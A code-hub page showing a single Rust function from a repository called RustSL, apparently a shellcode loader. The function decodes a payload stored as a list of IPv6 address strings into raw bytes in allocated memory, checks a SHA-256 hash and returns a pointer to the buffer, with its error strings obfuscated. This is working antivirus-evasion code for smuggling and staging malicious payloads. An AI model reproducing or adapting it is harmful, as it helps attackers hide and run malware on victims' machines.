MCPcopy Create free account
hub / github.com/echQoQ/RustSL / decrypt

Function decrypt

src/decrypt/ipv6.rs:4–38  ·  view source on GitHub ↗
(decoded: &[u8])

Source from the content-addressed store, hash-verified

2use obfstr::obfstr;
3
4pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 use sha2::{Sha256, Digest};
6 use obfstr::obfstr;
7 let hash_len = 32;
8 let len_len = 4;
9 if decoded.len() < hash_len + len_len {
10 return Err(obfstr!("ipv6 payload too short").to_string());
11 }
12 let hash = &decoded[0..hash_len];
13 let len_bytes = &decoded[hash_len..hash_len + len_len];
14 let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
15 let addresses_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
16 let addresses: Vec<&str> = addresses_str.split(',').collect();
17 let p = unsafe { alloc_mem(original_len)? };
18 let buf = std::slice::from_raw_parts_mut(p, original_len);
19 let mut idx = 0;
20 'outer: for addr_str in addresses {
21 let parts: Vec<&str> = addr_str.split(':').collect();
22 if parts.len() != 8 { return Err(obfstr!("Invalid IPv6 address").to_string()); }
23 for p in parts {
24 if idx + 1 >= original_len { break 'outer; }
25 let v = u16::from_str_radix(p, 16).map_err(|_| obfstr!("Invalid IPv6 segment").to_string())?;
26 let bytes = v.to_be_bytes();
27 if idx < original_len { buf[idx] = bytes[0]; idx += 1; }
28 if idx < original_len { buf[idx] = bytes[1]; idx += 1; }
29 }
30 }
31 let mut hasher = Sha256::new();
32 hasher.update(&buf[..original_len]);
33 let calc_hash = hasher.finalize();
34 if hash != calc_hash.as_slice() {
35 return Err(obfstr!("ipv6 hash mismatch").to_string());
36 }
37 Ok((p as usize, original_len))
38}

Callers

nothing calls this directly

Calls 1

alloc_memFunction · 0.50

Tested by

no test coverage detected